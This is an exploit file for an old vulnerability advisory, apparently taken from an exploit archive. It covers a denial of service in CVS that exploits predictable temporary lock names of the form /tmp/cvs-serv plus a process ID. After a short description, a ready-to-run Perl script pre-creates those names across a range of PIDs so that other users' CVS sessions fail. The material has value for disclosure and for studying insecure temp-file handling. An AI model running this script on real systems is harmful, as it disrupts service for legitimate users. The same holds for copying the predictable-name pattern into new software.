16 lines
No EOL
1 KiB
Perl
Executable file
16 lines
No EOL
1 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/1136/info
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CVS stands for Concurrent Versions Software and is an open-source package designed to allow multiple developers to work concurrently on a single source tree, recording changes and controlling versions. It is possible to cause a denial of service for users of CVS due to predictable temporary filenames. CVS uses locking directories in /tmp and combines the static string 'cvs-serv' with the process ID to use as filenames. This is trivial to guess for an attacker, and since /tmp is world writeable, directories can be created with predicted names. CVS drops root priviliges, so these directories cannot be overwritten and every session for which a locking directory has been already created (by the attacker) will be broken.
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The following perl script will create many directories in /tmp with incrementing pids:
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#!/usr/bin/perl
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$min=400;
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$max=4000;
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for ($x=$min;$x<=$max;$x++) {
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open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!";
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chmod 0600, "/tmp/cvs-serv$x";
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close CVSTMP;
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} |